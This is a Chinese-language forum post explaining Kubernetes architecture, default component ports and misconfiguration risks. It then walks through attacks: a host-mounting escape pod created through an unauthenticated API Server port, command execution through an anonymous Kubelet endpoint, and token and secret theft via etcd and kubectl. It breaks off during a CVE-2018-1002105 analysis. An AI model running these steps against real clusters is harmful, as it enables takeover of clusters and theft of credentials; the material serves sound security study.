標題:K8s 安全

taibeihacker

Moderator

K8s 安全​

1 背景​

Kubernetes,簡稱為K8s,是一個開源的容器化應用自動部署、伸縮和管理平台,已經成為容器編排的事實標準。

1.1 Kubernetes​

一個Kubernetes 集群包含若干台服務器。其中,用於運行容器化應用的服務器被稱為工作節點(worker node);
用於運行控制平面(control plane)組件的服務器被稱為控制節點或主節點(master node)。
在計算資源充足的情況下,工作節點和控制節點並不重合,控制平面組件只運行在控制節點上,業務容器運行在工作節點上,以滿足高可用的需求。然而,為了達到充分利用服務器資源的目的(或單節點集群的情況),有時也會允許控制節點上運行業務容器。
202111302020793.png-water_print

其中,Master Node 中包含:
API Server
這是Kubernetes 控制面板中唯一帶有用戶可訪問API 以及用戶可交互的組件。 API 服務器會暴露一個RESTful 的Kubernetes API 並使用JSON 格式的清單文件(manifest files)。
etcd
這是一個強大的、穩定的、高可用的鍵值存儲,被Kubernetes 用於長久儲存所有的API 對象。
Controller Manager
被稱為“kube-controller manager”,它運行著所有處理集群日常任務的控制器。包括了節點控制器、副本控制器、端點(endpoint)控制器以及服務賬戶等。
Scheduler
調度器會監控新建的pods(一組或一個容器)並將其分配給節點。
在Worker Node 中包含:
Kubelet
負責調度到對應節點的Pod 的生命週期管理,執行任務並將Pod 狀態報告給主節點的渠道,通過容器運行時(拉取鏡像、啟動和停止容器等)來運行這些容器。它還會定期執行被請求的容器的健康探測程序。
kube-proxy
它負責節點的網絡,在主機上維護網絡規則並執行連接轉發。它還負責對正在服務的pods 進行負載平衡。
在綠盟的針對容器的滲透測試方法一文中指出一些滲透測試思路和方法。結合一般的滲透過程,梳理出一個針對Kubernetes 的滲透測試流程:
202111302024222.png-water_print

Kubernetes 控制平面組件通常運行在控制節點上;另外,對容器逃逸後通常能夠獲得容器所在宿主機上的root 權限。將這兩點結合起來我們會發現,如果前期進行Web 滲透的目標容器位於控制節點上,且成功從容器中逃逸,那麼我們實際上能夠憑藉控制節點上的Kubernetes 管理員憑證(kubeconfig)與Kubernetes API Server 進行交互(甚至可以直接使用控制節點上的kubectl 命令行工具)。

1.2 组件接口存在的风险​

k8s 中的大多數組件以HTTP 和HTTPS 的API 形式提供服務,常見端口如下:
組件
默認端口
說明
API Server
6443
基於HTTP 的安全端口
API Server
8080
不安全的HTTP 端口
Kubelet
10248
檢查健康狀態的端口
Kubelet
10250
面向API Server 提供服務的HTTPS 端口
Dashboard
8001
提供HTTP 服務的端口
etcd
2379
客戶端與服務端之間通信的端口
etcd
2380
不同服務端之間通信的端口

1.2.1 API Server​

默認情況下,API Server 在8080 和6443 兩個端口上提供服務。
其中,8080 端口提供的是沒有TLS 加密的HTTP 服務,且所有到達該端口的請求將繞過所有認證和授權模塊(但是仍然會被准入控制模塊處理)。保留該端口主要是為了方便測試以及集群初啟動。
然而在生產環境開放8080 端口,即使綁定本地環回地址也是很危險的。如果將該端口暴露在互聯網上,那麼任何網絡可達的攻擊者都能夠通過該端口直接與API Server 交互,繼而控制整個集群。
相比之下,6443 端口提供的是使用TLS 加密的HTTPS 服務,到達的請求必須通過認證和授權機制才能夠被成功處理。在認證和授權機製配置正確的情況下,6443 端口提供的服務安全性會更高。

1.2.2 Dashboard​

在按照官方文檔所給方式部署完成Dashboard 後,默認情況下,我們需要先執行kube proxy,然後才能通過本地8001 端口訪問Dashboard。但是,如果直接將Dashboard
端口映射在宿主機節點上,或者在執行kube proxy 指定了額外的地址參數,那麼所有能夠訪到宿主機的用戶,都能夠直接訪問Dashboard。
1
2
# 存在風險的配置方式
kube proxy --address 0.0.0.0 --accept-host='^*$'
另外,默認情況下Dashboard 需要登錄認證,但是,如果用戶在Dashboard 的啟動參數中添加了--enable-skip-login 選項,那麼攻擊者就能夠直接點擊Dashboard 界面的“跳過”,按鈕,無須登錄便可直接進入Dashboard。

1.2.3 Kubelet​

API Server 是整個Kubernetes 的中樞,以RESTful API 的形式對外提供了大量應用接口。
事實上,Kubelet 也提供了RESTful API 服務,供API Server 調用以獲取或改變某個Kubernetes 節點上的資源狀態。然而,這些API 的設計意圖並非是對外服務,因此官方並沒有給出Kubelet 的API 文檔。
默認配置下,Kubelet 在10250 端口開放上述API 服務,另外還監聽10248 端口,以供
其它組件檢查Kubelet 的運行狀態:
1
curl http://localhost:10248/healthz
10248 端口的服務相對簡單,不存在特別的風險。但10250 端口卻存在一定風險。默認情況下API Server 在訪問Kubelet 的API 時需要使用客戶端證書,相對來說是比較安全的。但是如果出現以下任一情況:
攻擊者通過某種方式獲取了API Server 訪問Kubelet 的客戶端證書。
用戶為了方便起見,將Kubelet 的--anonymous-auth 參數設置為true, 且authorization.mode 設置為AlwaysAllow。
則網絡可達的攻擊者都能夠直接與Kubelet 進行交互,從而實現對其所在節點的控制。

1.2.4 etcd​

Kubernetes 集群內的各種資源及其狀態均存儲在etcd 中。如果能夠有辦法讀取etcd 中的數據,就可能獲取高權限,從而控制集群。
目前,etcd 啟動後監聽2379 和2380 兩個端口,前者用於客戶端連接,後者用於多個etcd 實例之間的端對端通信。在多節點集群中,為了實現高可用,etcd 往往在節點IP 上進行監聽,已實現多節點的互通。
默認情況下,兩個端口提供的服務都需要相應證書才能訪問,並禁止匿名訪問,來保證安全性。如果攻擊者獲取了證書,或者允許匿名訪問,就可以直接獲取ectd 內的數據。
1
etcdctl --endpoints https://localhost:2379 --cert /etc/kubernetes/pki/etcd/server.crt --key /etc/kubernetes/pki/etcd/server.key --cacert /etc/kubernetes/pki/etcd/ca.crt get /registry/serviceaccounts/kube-system/default -o json

2 k8s 组件配置不当的攻击案例​

2.1 API Server 未授权访问​

默認情況下,API Server 能夠在兩個端口上對外提供服務:8080 和6443,前者以HTTP 提供服務,無認證和授權機制;後者以HTTPS 提供服務,支持認證和授權服務。在較新版本的Kubernetes 中,8080 端口的HTTP 服務默認不啟動。然而,如果用戶在/etc/kubernets/manifests/kube-apiserver.yaml 中將--insecure-port=0 修改為--insecure-port=8080 ,並重啟API Server,那麼攻擊者只要網絡可達,都能夠通過此端口操控集群。
如遠程列出目標機器上運行的pod:
1
kubectl -s $TARGETIP:8080 get pod
進一步創建掛載宿主機目錄的Pod 進行容器逃逸,獲得宿主機權限,相關操作如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/bash
cat EOF escape.yaml
# attacker.yaml
apiVersion: v1
kind: Pod
metadata:
name: attacker
spec:
containers:
- name: ubuntu
image: ubuntu:latest
imagePullPolicy: IfNotPresent
# Just spin wait forever
command: [ '/bin/bash', '-c', '--' ]
args: [ 'while true; do sleep 30; done;' ]
volumeMounts:
- name: escape-host
mountPath: /host-escape-door
volumes:
- name: escape-host
hostPath:
path: /
EOF
kubectl -s TARGET-IP:8080 apply -f escape.yaml
sleep 8
kubectl -s TARGET-IP:8080 exec -it attacker /bin/bash

2.2 Dashboard 未授权访问​

Kubernetes Dashboard 是一個基於Web 的Kubernetes 用戶界面。借助Dashboard,能夠獲得當前集群中應用運行狀態的概覽,創建或修改Kubernetes 資源。
根據官方文檔,可以使用以下命令部署Dashboard:
1
kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.4.0/aio/deploy/recommended.yaml
Dashboard 需要配置token 才能夠訪問,但是提供了「跳過」選項。從1.10.1 版本起,Dashboard 默認禁用了「跳過」按鈕。然而,如果用戶在運行Dashboard 時添加了--enable-skip-login,那麼攻擊者只要網絡可達,就能進入Dashboard:
202112011541799.png-water_print

202112011523353.png-water_print

使用上面的recommended.yaml 創建Dashboard 是可靠的。即使攻擊者“跳過”認證直接登錄,也幾乎沒有辦法操作。
202112011554221.png-water_print

2.3 Kubelet 未授权访问​

在一個Kubernetes 集群中,Kubelet 是主要的節點代理,運行在集群的每個節點上。它負責向API Server 註冊所在節點。
Kubelet 的配置文件是/var/lib/kubelet/config.yaml。一般來說,我們在安裝Kubernetes 時會將--anonymous-auth 設置為false,並在authorization 中選擇mode 為Webhook。前一選項禁止匿名用戶訪問,後一選項則使Kubelet 通過API Server 進行授權(即使匿名用戶能夠訪間,也幾乎不具備任何權限)。
但是,一旦--anonymous-auth 被設置為true, 且authorization.mode 被設置為AlwaysAllow 這就非常危險了。
202112011612085.png-water_print

更改config 文件後,重啟Kubelet:systemctl restart kubelet。
202112011619890.png-water_print

執行curl -k -XPOST 'https://nodeip:10250/run/%namespace%/%pod_name%/%container_name%' -d 'cmd=ls -la /' 可以在對應容器裡執行命令。
現在問題變成瞭如何確定namespace、pod_name、container_name。訪問https://nodeip:10250/pods 。在metadata.namespace 下的值為namespace, metadata.name 下的值為pod_name,spec.containers 下的name 值為container_name。
執行命令:
202112011644559.png-water_print

獲取Token:
202112011647743.png-water_print

通過Token 獲取API Server 權限:
1
kubectl --insecure-skip-tls-verify=true --server='https://ip:6443' --token='eyJhbG.' get secrets --all-namespaces

3 k8s 权限提升漏洞 - CVE-2018-1002105​

CVE-2018-1002105 是一個Kubernetes 的權限提升漏洞,允許攻擊者在擁有集群內低權限的情況下提升權限至Kubernetes API Server 權限,CVSS 3.x 評分為9.8。
影響版本:
Kubernetes v1.0.x-1.9.x
Kubernetes v1.10.0-1.10.10 (fixed in v1.10.11)
Kubernetes v1.11.0-1.11.4 (fixed in v1.11.5)
Kubernetes v1.12.0-1.12.2 (fixed in v1.12.3)
簡單來說,通過構造一個特殊的請求,攻擊者能夠借助Kubernetes API Server 作為代理,建立一個到後端服務器的連接,進而以Kubernetes API Server 的身份向後端服務器發送任意請求,實質上就是權限提升。
在多數環境下,為了成功利用漏洞,攻擊者本身需要具備一定的權限,如對集群內一個Pod 的exec、attach 權限。然而,在集群中存在其他擴展API Server (如metrics-server)的情況下,只要允許匿名訪問集群,攻擊者就可能以置名用戶的身份完成漏洞利用。

3.1 背景​

3.1.1 基于角色的访问控制 - RBAC​

Role-Based Access Control(RBAC) 是為不同用戶賦予不同的角色,通過角色授權進行訪問控制。要啟用RBAC,在啟動API Server 時設置--authorization-mode 參數。
Kubernetes 提供了四種RBAC 對象:Role、ClusterRole、Role Binding 和ClusterRoleBinding。
其中,Role 和ClusterRole 代表一系列權限的集合,一個Role 資源通常是特定命名空間內某些權限的集合,ClusterRole 則是無命名空間限制的資源。
以官方文檔中的例子,下面是一個Role 的聲明文件,它在默認的命名空間創建了一個名為pod-reader 的角色,這角色的權限是能夠對命名空間內部的Pod 進行查看、事件監聽和列舉操作。
1
2
3
4
5
6
7
8
9
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: default
name: pod-reader
rules:
- apiGroups: [''] # '' 標明core API 組
resources: ['pods']
verbs: ['get', 'watch', 'list']
RoleBinding 和ClusterRoleBinding 則用來將Role 和ClusterRole 定義的權限賦予一個或一組特定的用戶。
下面的例子中的RoleBinding 將pod-reader Role 授予在default 命名空間中的用戶jane。 這樣,用戶jane 就具有了讀取default 命名空間中pods 的權限。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
apiVersion: rbac.authorization.k8s.io/v1
# 此角色綁定允許'jane' 讀取'default' 名字空間中的Pods
kind: RoleBinding
metadata:
name: read-pods
namespace: default
subjects:
# 你可以指定不止一個“subject(主體)”
- kind: User
name: jane # 'name' 是區分大小寫的
apiGroup: rbac.authorization.k8s.io
roleRef:
# 'roleRef' 指定與某Role 或ClusterRole 的綁定關係
kind: Role # 此字段必須是Role 或ClusterRole
name: pod-reader # 此字段必須與你要綁定的Role 或ClusterRole 的名稱匹配
apiGroup: rbac.authorization.k8s.io

3.1.2 WebSocket​

WebSocket 是一種網絡傳輸協議,可在單個TCP 連接上進行全雙工通信,使得客戶端和服務器之間的數據交換變得更加簡單,允許服務端主動向客戶端推送數據。在WebSocket API中,瀏覽器和服務器只需要完成一次握手,兩者之間就可以創建持久性的連接,並進行雙向數據傳輸。
一個典型的Websocket 握手請求如下:
客戶端請求:
1
2
3
4
5
6
7
8
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Origin: http://example.com
Sec-WebSocket-Protocol: chat, superchat
Sec-WebSocket-Version: 13
服務器回應:
1
2
3
4
5
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
Sec-WebSocket-Protocol: chat

3.1.3 Kubernetes API Server​

API Server 通過RESTful API 提供服務。除此之外,它還具有代理轉發的功能,將外界對於部分API的調用轉發到後端實際執行這些API 功能的組件上。例如,常用的對pod 執行exec 的操作就是API Server 作為代理,將請求轉發到對應節點的Kubelet 上,由該Kubelet 執行具體命令。這個過程還涉及從HTTP 到Websocket 的協議升級過程,API Server 能夠作為代理維護一條WebSocket 連接。

3.2 分析​

漏洞在stag
 
返回
上方